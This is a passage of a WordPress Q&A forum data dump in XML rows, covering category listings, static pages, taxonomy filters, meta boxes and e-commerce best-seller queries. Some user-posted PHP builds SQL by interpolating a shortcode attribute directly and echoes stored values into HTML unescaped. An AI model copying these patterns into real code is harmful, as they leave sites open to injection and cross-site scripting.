  <row Id="21031" PostTypeId="2" ParentId="21030" CreationDate="2011-01-18T19:38:21.523" Score="0" ViewCount="" Body="&lt;p&gt;I just found out that it is not supported: &lt;a href=&quot;https://en.support.wordpress.com/stats/#additional-info&quot; rel=&quot;nofollow&quot;&gt;https://en.support.wordpress.com/stats/#additional-info&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I would still like to know how to add some html script to my wordpress.com hosted site.&lt;/p&gt;&#xA;" LastActivityDate="2011-01-18T19:38:21.523" />
  <row Id="21032" PostTypeId="2" ParentId="21030" CreationDate="2011-01-19T00:15:31.143" Score="1" ViewCount="" Body="&lt;p&gt;the &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tag is not allowed on Wordpress.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the Google Analytics script uses that tag, it's not possible to add it. This has been asked and dealt countless of times on the forums of Wordpress.com but they do not wish to compromise the security of their site by allowing scripts (Javascript/VBScript).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you find a place to host your site and decide to use the Wordpress app (found at Wordpress.org), then you'll be able to modify it and add scripts as much as you want! That's what I ended up doing with my blog that I had originally created on Wordpress.com.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just as an extra, I found this interesting exerpt on their forums:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Google's rule is that only one Google&#xA;  analytics script (Urchin) can be run&#xA;  on any blog; they do not allow two.&#xA;  And wordpress.com runs Google&#xA;  analytics (urchin) on all of our&#xA;  blogs.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;source: &lt;a href=&quot;http://en.forums.wordpress.com/topic/google-analytics-on-wordpress-how_&quot; rel=&quot;nofollow&quot;&gt;http://en.forums.wordpress.com/topic/google-analytics-on-wordpress-how_&lt;/a&gt;&lt;/p&gt;&#xA;" LastActivityDate="2011-01-19T00:15:31.143" CommentCount="2" />
  <row Id="21033" PostTypeId="2" ParentId="20506" CreationDate="2011-06-25T17:23:04.647" Score="2" ViewCount="" Body="&lt;p&gt;At first I was like &quot;nu-uh&quot;, but then I was like &quot;oh yeah!&quot; ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's great is all the 'pagination' is done in PHP. In other words, it's just &lt;code&gt;foreach&lt;/code&gt; loops and nested arrays, not SQL limits and offsets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The real meat of the work can be pinned down to &lt;code&gt;Walker::paged_walk()&lt;/code&gt; (specifically, about half-way in through the method).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially, it loops over the comments and stacks them by their parent, then calculates which slice of the 'top level' set to show (based on the &lt;code&gt;$page_num&lt;/code&gt; and &lt;code&gt;$per_page&lt;/code&gt; args). Then it simply loops over this 'slice', also looping the comment children (if it has any).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;It can and shall be done!&lt;/strong&gt; All it needs is a good mind to apply that same logic, but bring nested comments into the picture too. Whether that's me or not is another question!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I thought I'd post this now, just to shed some light on the matter, and hopefully keep the ball rolling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;N.B.&lt;/strong&gt; There's also another method, &lt;code&gt;Walker::get_number_of_root_elements()&lt;/code&gt;, which is used &lt;em&gt;only&lt;/em&gt; by &lt;code&gt;get_comment_pages_count()&lt;/code&gt; (at least in core). &lt;strong&gt;However&lt;/strong&gt;, &lt;em&gt;this&lt;/em&gt; function is used everywhere, so despite what the method name implies, it would need to accommodate the new algorithm and encapsulate children too.&lt;/p&gt;&#xA;" OwnerUserId="1685" LastEditorUserId="1685" LastEditorDisplayName="" LastEditDate="2011-06-25T21:45:04.370" LastActivityDate="2011-06-25T21:45:04.370" />
  <row Id="21035" PostTypeId="2" ParentId="10727" CreationDate="2011-06-25T17:33:02.480" Score="0" ViewCount="" Body="&lt;p&gt;I'm going to assume that you're doing things correctly, which means that you're using &lt;code&gt;register_setting()&lt;/code&gt; to create a single, options-array DB entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, assuming your Theme slug is &lt;code&gt;mytheme&lt;/code&gt;, and your DB entry is named &lt;code&gt;theme_mytheme_options&lt;/code&gt;, you simply need to export the following from wp_options:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;theme_mytheme_options&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;theme_mods_mytheme&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Export them from the development SQL server, and then import them into the production SQL server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could probably even write an exporter/importer for the process (maybe take a look at the WordPress importer Plugin as a reference?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MultiSite-specific: you'll need to know the ID of the network site. The table name should be in the format: &lt;code&gt;{network}_{siteID}_options&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-06-25T17:33:02.480" />
  <row Id="21036" PostTypeId="1" AcceptedAnswerId="21038" CreationDate="2011-06-25T18:23:48.097" Score="0" ViewCount="51" Body="&lt;p&gt;I have a Post Category called 'Podcasts' and under it are many other sub-categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On a page I have titled &quot;Podcast Categories&quot;, I would like to list all categories under the &quot;Podcasts&quot; category, as links to their category page. I'm fairly new to Wordpress, what would be the best way of accomplishing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I do not want to display any kind of post content on this page, only the category name as a link. When I do google searching, I'm finding lots of info on how to post content from these categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE 1:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;page-podcast-list.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;          &amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;            &amp;lt;?php          &#xA;              $cat = get_category_by_slug( 'podcasts' );&#xA;              $catid = $cat-&amp;gt;ID;&#xA;            ?&amp;gt;&#xA;            &amp;lt;?php&#xA;              wp_list_categories( array(&#xA;                'child_of' =&amp;gt; $catid;&#xA;              ) );&#xA;            ?&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&amp;lt;!-- /content --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This isn't doing what I expected. It's printing out:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Parse error: syntax error, unexpected ';', expecting ')' in /path/to/page-podcast-list.php on line 49&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure what line 49 is specifically at the moment, since I'm using the Built in WordPress Editor, without line numbers unfortunately..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not familiar with php for the record, but am familiar with basic programming.&lt;/p&gt;&#xA;" OwnerUserId="6067" LastEditorUserId="6067" LastEditorDisplayName="" LastEditDate="2011-06-25T19:44:14.570" LastActivityDate="2011-06-25T19:46:35.733" Title="How can I display a list of categories of my posts" Tags="&lt;categories&gt;&lt;link-category&gt;" AnswerCount="1" />
  <row Id="21038" PostTypeId="2" ParentId="21036" CreationDate="2011-06-25T18:47:26.567" Score="1" ViewCount="" Body="&lt;p&gt;You need to use &lt;code&gt;wp_list_categories()&lt;/code&gt; (&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_list_categories&quot; rel=&quot;nofollow&quot;&gt;Codex ref&lt;/a&gt;), using the &lt;code&gt;child_of&lt;/code&gt; argument.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming you know the ID of the &quot;Podcasts&quot; category, e.g. &lt;code&gt;123&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_list_categories( array(&#xA;    'child_of' =&amp;gt; '123'&#xA;) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you need to find the category ID, use &lt;code&gt;get_category_by_slug&lt;/code&gt; (&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_category_by_slug&quot; rel=&quot;nofollow&quot;&gt;Codex ref&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$cat = get_category_by_slug( 'podcasts' );&#xA;$catid = $cat-&amp;gt;ID;&#xA;&#xA;wp_list_categories( array(&#xA;    'child_of' =&amp;gt; $catid&#xA;) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Rather than executing PHP from within the Page content, I would simply &lt;a href=&quot;http://codex.wordpress.org/Pages#Creating_Your_Own_Page_Templates&quot; rel=&quot;nofollow&quot;&gt;create a custom Page template&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Copy &lt;code&gt;page.php&lt;/code&gt; as &lt;code&gt;page-podcast-list.php&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;At the top of &lt;code&gt;page-podcast-list.php&lt;/code&gt; put the following:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Template Name: Podcast List&#xA;*/&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Look for the post content markup (e.g. &lt;code&gt;&amp;lt;div id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot; &amp;lt;php post_class(); ?&amp;gt;&amp;gt;&lt;/code&gt;), and replace what's inside it (should include &lt;code&gt;&amp;lt;?php the_content(); ?&amp;gt;&lt;/code&gt;, etc.) with the &lt;code&gt;$wp_list_categories()&lt;/code&gt; code from above.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you have problems, copy/paste the code from &lt;code&gt;page-podcast-list.php&lt;/code&gt; in your answer, and we'll help from there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your parse error is here, inside of your &lt;code&gt;wp_list_categories()&lt;/code&gt; argument array:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'child_of' =&amp;gt; $catid;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Should instead be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'child_of' =&amp;gt; $catid&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(no semicolon)&lt;/p&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-06-25T19:46:35.733" LastActivityDate="2011-06-25T19:46:35.733" CommentCount="9" />
  <row Id="21039" PostTypeId="1" AcceptedAnswerId="21040" CreationDate="2011-06-25T18:55:48.393" Score="0" ViewCount="49" Body="&lt;p&gt;I am very new to wordpress and learning on my own.I have started to create &lt;a href=&quot;http://www.technology-arena.com&quot; rel=&quot;nofollow&quot;&gt;a website&lt;/a&gt; where I need to &lt;strong&gt;upload images&lt;/strong&gt;. I want to ask if you all usually use the same database to store the image(if so, how?) or use a image uploading site?&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2238" LastActivityDate="2011-06-25T19:03:34.757" Title="Where do you upload images on a wordpress site?" Tags="&lt;images&gt;" AnswerCount="1" />
  <row Id="21040" PostTypeId="2" ParentId="21039" CreationDate="2011-06-25T19:03:34.757" Score="1" ViewCount="" Body="&lt;p&gt;Wordpress images are stored in your wp-content/uploads folder no need for storing in the database, only the img uris get stored there.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you create an new wordpress post or page with your text editor you will notice several icons above it, use the first one to upload images and it will give you the option to add it to your post.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its realy very simple but there are other things to take note of before you do this like setting images sizes etc, i suggest you read up on the &lt;a href=&quot;http://codex.wordpress.org/Using_Image_and_File_Attachments&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;codex for image handling&lt;/strong&gt;&lt;/a&gt;..&lt;/p&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2011-06-25T19:03:34.757" CommentCount="1" />
  <row Id="21041" PostTypeId="1" AcceptedAnswerId="21075" CreationDate="2011-06-25T19:04:45.427" Score="0" ViewCount="149" Body="&lt;p&gt;I'm trying (but failing) to create 'Best Sellers' and 'New Releases' pages for my website. I'm using &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-e-commerce/&quot; rel=&quot;nofollow&quot;&gt;WP-Ecommerce 3.8.4&lt;/a&gt; with WP 3.1.3 and I've gotten close but can't seem to get it right. Any help on this would be greatly appreciated...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've added the following code to wp-ecommerce&gt;wpsc-includes&gt;product-template.php (original code from &lt;a href=&quot;http://davemackintosh.co.uk/2011/06/wp-ecommerce-product-by-id/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Popular products function&#xA;function popular_products ( $atts ) {&#xA;//Expose the Db to the function&#xA;global $wpdb;&#xA;//Get the results&#xA;$pp = $wpdb -&amp;gt; get_results ( &quot;SELECT prodid, SUM(quantity) FROM {$wpdb-&amp;gt;prefix}wpsc_cart_contents GROUP BY prodid ORDER BY quantity DESC LIMIT {$atts['limit']}&quot;, ARRAY_A);&#xA;//Loop through the results&#xA;foreach ( $pp as $item ) {&#xA;//Output it&#xA;?&amp;gt;&#xA;&amp;lt;img alt=&quot;&amp;lt;?php echo wpsc_the_product_title ( null, null, $item['prodid'] )?&amp;gt;&quot; src=&quot;&amp;lt;?php echo wpsc_the_product_thumbnail ( null, null, $item['prodid'] )?&amp;gt;&quot; /&amp;gt;&#xA;&amp;lt;?php echo wpsc_the_product_title ( $item['prodid'] )?&amp;gt;&#xA;&amp;lt;?php&#xA;}&#xA;}&#xA;add_shortcode ( 'dm_popular', popular_products ); &#xA;&#xA;//END OF POPULAR PRODUCTS &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've then added [dm_popular limit=5] to the best sellers page (http://www.iconiccanvasart.co.uk/best-sellers) but as you can see it's not quite working properly:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;one product can appear multiple times if it's been ordered in different variations.&lt;/li&gt;&#xA;&lt;li&gt;it isn't retrieving the Products title properly (all are outputted as 'Best Sellers').&lt;/li&gt;&#xA;&lt;li&gt;Ditto for the image Alt tags.&lt;/li&gt;&#xA;&lt;li&gt;I've not added a URL to the products yet as not sure how to at the moment.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Once I've this working I'm hoping to alter slightly and have a 'New Releases' page based on a similar query (so any help on this may help to killing two birds with one stone).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ChainsawDR&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I've since managed to get this all working bar the price and product text - final code can be viewed here: &lt;a href=&quot;http://getshopped.org/forums/topic/bestselling-products/&quot; rel=&quot;nofollow&quot;&gt;http://getshopped.org/forums/topic/bestselling-products/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5225" LastEditorUserId="5225" LastEditorDisplayName="" LastEditDate="2011-08-02T17:04:24.680" LastActivityDate="2011-08-02T17:04:24.680" Title="How to show Best Selling WP E-Commerce Products" Tags="&lt;e-commerce&gt;&lt;plugin-wp-e-commerce&gt;&lt;wp-ecommerce&gt;&lt;popular-posts&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" />
  <row Id="21042" PostTypeId="2" ParentId="21027" CreationDate="2011-06-25T19:17:16.910" Score="0" ViewCount="" Body="&lt;p&gt;Take a look at &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/the_widget&quot; rel=&quot;nofollow&quot;&gt;the official documentation&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Furthermore: If you really want help in detail, you'll have to provide much more information (pastebin or similar link to code) in your Q.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-06-25T19:17:16.910" CommentCount="2" />
  <row Id="21043" PostTypeId="1" AcceptedAnswerId="21044" CreationDate="2011-06-25T19:24:31.847" Score="1" ViewCount="87" Body="&lt;p&gt;I am very new to &lt;strong&gt;wordpress&lt;/strong&gt;. I want to edit a wordpress theme and remove the blogpost area from it so it can be converted into a website. I also want to make some other changes. &#xA;How I am trying to do it is,&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot; I viewed the HTML code of my page and&#xA;  pasted in Dreamweaver and edited it.&#xA;  Now I am stuck with how to upload it.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Please help me out. If there is a better way to do it please suggest. Thanks&lt;/p&gt;&#xA;" OwnerUserId="2238" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-06-25T19:44:37.980" LastActivityDate="2011-06-25T19:44:37.980" Title="How to Use WordPress as Static CMS Without Blog Posts" Tags="&lt;themes&gt;&lt;cms&gt;" AnswerCount="2" />
  <row Id="21044" PostTypeId="2" ParentId="21043" CreationDate="2011-06-25T19:36:06.087" Score="3" ViewCount="" Body="&lt;p&gt;Thats not really an ideal way to do it (and will bring all kinds of problems), what your real aim is, is to make &lt;a href=&quot;http://www.mightymeta.co.uk/wordpress-3-to-a-client-friendly-cms-in-7-easy-steps/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;wordpress into a CMS&lt;/strong&gt;&lt;/a&gt; this way you can manage it as website from the wp-admin panel, add new pages etc, etc, the link i have added is just to give you an idea of whats involved, there are other Wordpress to CMS tutorials out there that will also help you.&lt;/p&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2011-06-25T19:36:06.087" CommentCount="3" />
  <row Id="21045" PostTypeId="2" ParentId="21043" CreationDate="2011-06-25T19:41:00.043" Score="1" ViewCount="" Body="&lt;p&gt;You don't need to do any of what you've done in order to use WordPress to manage static content. All you need to do:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Choose whatever Theme you want to use&lt;/li&gt;&#xA;&lt;li&gt;Create your content as &lt;em&gt;static Pages&lt;/em&gt;; don't bother with &lt;em&gt;Posts&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Go to &lt;code&gt;Dashboard -&amp;gt; Settings -&amp;gt; Reading&lt;/code&gt;, set the Front Page to display a static Page, and select whichever static Page you want to use as the Front Page&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now, your WordPress installation is set to display only static Pages, with no Blog Posts.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-06-25T19:41:00.043" CommentCount="1" />
  <row Id="21046" PostTypeId="1" AcceptedAnswerId="21100" CreationDate="2011-06-25T20:08:44.433" Score="0" ViewCount="62" Body="&lt;p&gt;I have a custom taxonomy filter that will filter all the pages in the selected taxonomy. I would like the code to select the pages in that taxonomy, and the children of thous pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Heres the code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('restrict_manage_posts', 'restrict_manage_posts_section');&#xA;function restrict_manage_posts_section()&#xA;{&#xA;    global $post_type;&#xA;    if ( is_object_in_taxonomy( $post_type, 'section' ) )&#xA;    {&#xA;        $dropdown_options = array(&#xA;            'show_option_all' =&amp;gt; __( 'View all sections' ),&#xA;            'hide_empty' =&amp;gt; 0,&#xA;            'hierarchical' =&amp;gt; 1,&#xA;            'name' =&amp;gt; 'section',&#xA;            'show_count' =&amp;gt; 0,&#xA;            'taxonomy' =&amp;gt; 'section',&#xA;            'orderby' =&amp;gt; 'name',&#xA;            'selected' =&amp;gt; $cat&#xA;        );&#xA;&#xA;        add_filter('wp_dropdown_cats', 'wp_dropdown_section_filter', 10);&#xA;        wp_dropdown_categories( $dropdown_options );&#xA;        remove_filter('wp_dropdown_cats', 'wp_dropdown_section_filter', 10);&#xA;    }&#xA;}&#xA;&#xA;function wp_dropdown_section_filter($select)&#xA;{&#xA;    $terms  = get_terms('section', array('hide_empty' =&amp;gt; false));   &#xA;    foreach( $terms as $term )&#xA;    {&#xA;        $select = str_replace('value=&quot;'.$term-&amp;gt;term_id.'&quot;', 'value=&quot;'.$term-&amp;gt;slug.'&quot;', $select);&#xA;        if (isset($_GET['section']) &amp;amp;&amp;amp; $term-&amp;gt;slug == $_GET['section']){&#xA;            $select = str_replace('value=&quot;'.$term-&amp;gt;slug.'&quot;', 'value=&quot;'.$term-&amp;gt;slug.'&quot; selected', $select);&#xA;        }&#xA;    }   &#xA;    return $select;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EDIT&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my Custom Post Type and Taxonomy Function&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Register Custom Post Type and Taxonomy&#xA;---------------------------------------------------*/&#xA;add_action('init', 'register_module_type');&#xA;function register_module_type() {&#xA;    $labels = array(&#xA;        'name' =&amp;gt; _x('Modules', 'post type general name'),&#xA;        'singular_name' =&amp;gt; _x('Modules', 'post type singular name'),&#xA;        'add_new' =&amp;gt; _x('Add Module', 'module item'),&#xA;        'add_new_item' =&amp;gt; __('Add Module'),&#xA;        'edit_item' =&amp;gt; __('Edit Module'),&#xA;        'new_item' =&amp;gt; __('New Module'),&#xA;        'view_item' =&amp;gt; __('View Module'),&#xA;        'search_items' =&amp;gt; __('Search Module'),&#xA;        'not_found' =&amp;gt;  __('Nothing found'),&#xA;        'not_found_in_trash' =&amp;gt; __('Nothing found in Trash'),&#xA;        'parent_item_colon' =&amp;gt; ''&#xA;    );&#xA;&#xA;    $args = array(&#xA;        'labels' =&amp;gt; $labels,&#xA;        'public' =&amp;gt; true,&#xA;        'publicly_queryable' =&amp;gt; true,&#xA;        'show_ui' =&amp;gt; true,&#xA;        'query_var' =&amp;gt; true,&#xA;        'rewrite' =&amp;gt; array( 'slug' =&amp;gt; 'module', 'with_front' =&amp;gt; false ),&#xA;        'capability_type' =&amp;gt; 'post',&#xA;        'hierarchical' =&amp;gt; true,&#xA;        'has_archive' =&amp;gt; true,&#xA;        'can_export' =&amp;gt; true,&#xA;        'menu_position' =&amp;gt; null,&#xA;        'supports' =&amp;gt; array('title','editor','thumbnail',/*'excerpt',*/'revisions','custom-fields','post-formats'/*,'page-attributes'*/)&#xA;        #'taxonomies' =&amp;gt; array('category', 'post_tag')&#xA;    ); &#xA;&#xA;    register_post_type( 'module' , $args );&#xA;    #register_taxonomy_for_object_type('category', 'testimonial');&#xA;    #register_taxonomy_for_object_type('post_tag', 'testimonial');&#xA;&#xA;    $labels = array(&#xA;        'name' =&amp;gt; _x( 'Sections', 'taxonomy general name' ),&#xA;        'singular_name' =&amp;gt; _x( 'Section', 'taxonomy singular name' ),&#xA;        'search_items' =&amp;gt;  __( 'Search Sections' ),&#xA;        'all_items' =&amp;gt; __( 'All Sections' ),&#xA;        'parent_item' =&amp;gt; __( 'Parent Section' ),&#xA;        'parent_item_colon' =&amp;gt; __( 'Parent Section:' ),&#xA;        'edit_item' =&amp;gt; __( 'Edit Section' ),&#xA;        'update_item' =&amp;gt; __( 'Update Section' ),&#xA;        'add_new_item' =&amp;gt; __( 'Add New Section' ),&#xA;        'new_item_name' =&amp;gt; __( 'New Section Name' ),&#xA;    );  &#xA;&#xA;    register_taxonomy( 'section', array( 'module' ), array(&#xA;        'hierarchical' =&amp;gt; true,&#xA;        'labels' =&amp;gt; $labels,&#xA;        'show_ui' =&amp;gt; true,&#xA;        'query_var' =&amp;gt; true,&#xA;        'rewrite' =&amp;gt; array( 'slug' =&amp;gt; 'section' ),&#xA;    ));&#xA;&#xA;    #add_theme_support( 'post-formats', array( 'chat','aside','gallery','link','image','quote','status','video' ));&#xA;    flush_rewrite_rules( false );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5140" LastEditorUserId="5140" LastEditorDisplayName="" LastEditDate="2011-06-26T17:05:55.977" LastActivityDate="2011-06-26T17:05:55.977" Title="Taxonomy filter all children" Tags="&lt;categories&gt;&lt;php&gt;&lt;filters&gt;&lt;taxonomy&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="1" />
  <row Id="21048" PostTypeId="1" AcceptedAnswerId="21056" CreationDate="2011-06-25T20:19:58.467" Score="0" ViewCount="101" Body="&lt;p&gt;As of now I have a perfectly working script for a single meta-box. (I'll supply the details below.) However, I want to add more meta-boxes but am having trouble wrapping my head around how I would bend or add to this script to get those results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had someone explain to me that I should create individual include's for each metabox and essentially recreate duplicates of what I already have, changing my functions and such for example: from &lt;code&gt;plib_add_box&lt;/code&gt; to &lt;code&gt;plib_add_box_2&lt;/code&gt; and so on so they don't clash. But that's so crude and I know there has to be a way to simply add it to my existing include and essentially keep my format/save data portions the same. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;my &lt;strong&gt;functions.php:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;include(&quot;metaboxes/preset-library.php&quot;);&#xA;&#xA;//I created an array called $meta_box and set the array key to the relevant post type, in this case post&#xA;$meta_box['post'] = array(&#xA;    'id' =&amp;gt; 'venue_location',  &#xA;    'title' =&amp;gt; 'Venue/Location',&#xA;    'context' =&amp;gt; 'normal',&#xA;    'priority' =&amp;gt; 'high',&#xA;    'fields' =&amp;gt; array(&#xA;        array(&#xA;            'name' =&amp;gt; 'Venue',&#xA;            'desc' =&amp;gt; 'Venue Name',&#xA;            'id' =&amp;gt; 'venue_info',&#xA;            'type' =&amp;gt; 'text',&#xA;            'default' =&amp;gt; ''&#xA;        ),&#xA;        array(&#xA;            'name' =&amp;gt; 'Location',&#xA;            'desc' =&amp;gt; 'Location of the Venue',&#xA;            'id' =&amp;gt; 'location_info',&#xA;            'type' =&amp;gt; 'text',&#xA;            'default' =&amp;gt; ''&#xA;        )&#xA;    )&#xA;);&#xA;add_action('admin_menu', 'plib_add_box');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;my &lt;strong&gt;include:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Add meta boxes to post types&#xA;function plib_add_box() {&#xA;    global $meta_box;&#xA;&#xA;    foreach($meta_box as $post_type =&amp;gt; $value) {&#xA;        add_meta_box($value['id'], $value['title'], 'plib_format_box', $post_type, $value['context'], $value['priority']);&#xA;    }&#xA;}&#xA;//Formatting&#xA;function plib_format_box() {&#xA;  global $meta_box, $post;&#xA;&#xA;  // verification&#xA;  echo '&amp;lt;input type=&quot;hidden&quot; name=&quot;plib_meta_box_nonce&quot; value=&quot;', wp_create_nonce(basename(__FILE__)), '&quot; /&amp;gt;';&#xA;&#xA;  echo '&amp;lt;table class=&quot;form-table&quot;&amp;gt;';&#xA;&#xA;  foreach ($meta_box[$post-&amp;gt;post_type]['fields'] as $field) {&#xA;      // get current post meta data&#xA;      $meta = get_post_meta($post-&amp;gt;ID, $field['id'], true);&#xA;&#xA;      echo '&amp;lt;tr&amp;gt;'.&#xA;              '&amp;lt;th style=&quot;width:20%&quot;&amp;gt;&amp;lt;label for=&quot;'. $field['id'] .'&quot;&amp;gt;'. $field['name']. '&amp;lt;/label&amp;gt;&amp;lt;/th&amp;gt;'.&#xA;              '&amp;lt;td&amp;gt;';&#xA;      switch ($field['type']) {&#xA;          case 'text':&#xA;              echo '&amp;lt;input type=&quot;text&quot; name=&quot;'. $field['id']. '&quot; id=&quot;'. $field['id'] .'&quot; value=&quot;'. ($meta ? $meta : $field['default']) . '&quot; size=&quot;30&quot; style=&quot;width:97%&quot; /&amp;gt;'. '&amp;lt;br /&amp;gt;'. $field['desc'];&#xA;              break;&#xA;          case 'textarea':&#xA;              echo '&amp;lt;textarea name=&quot;'. $field['id']. '&quot; id=&quot;'. $field['id']. '&quot; cols=&quot;60&quot; rows=&quot;4&quot; style=&quot;width:97%&quot;&amp;gt;'. ($meta ? $meta : $field['default']) . '&amp;lt;/textarea&amp;gt;'. '&amp;lt;br /&amp;gt;'. $field['desc'];&#xA;              break;&#xA;          case 'select':&#xA;              echo '&amp;lt;select name=&quot;'. $field['id'] . '&quot; id=&quot;'. $field['id'] . '&quot;&amp;gt;';&#xA;              foreach ($field['options'] as $option) {&#xA;                  echo '&amp;lt;option '. ( $meta == $option ? ' selected=&quot;selected&quot;' : '' ) . '&amp;gt;'. $option . '&amp;lt;/option&amp;gt;';&#xA;              }&#xA;              echo '&amp;lt;/select&amp;gt;';&#xA;              break;&#xA;          case 'radio':&#xA;              foreach ($field['options'] as $option) {&#xA;                  echo '&amp;lt;input type=&quot;radio&quot; name=&quot;' . $field['id'] . '&quot; value=&quot;' . $option['value'] . '&quot;' . ( $meta == $option['value'] ? ' checked=&quot;checked&quot;' : 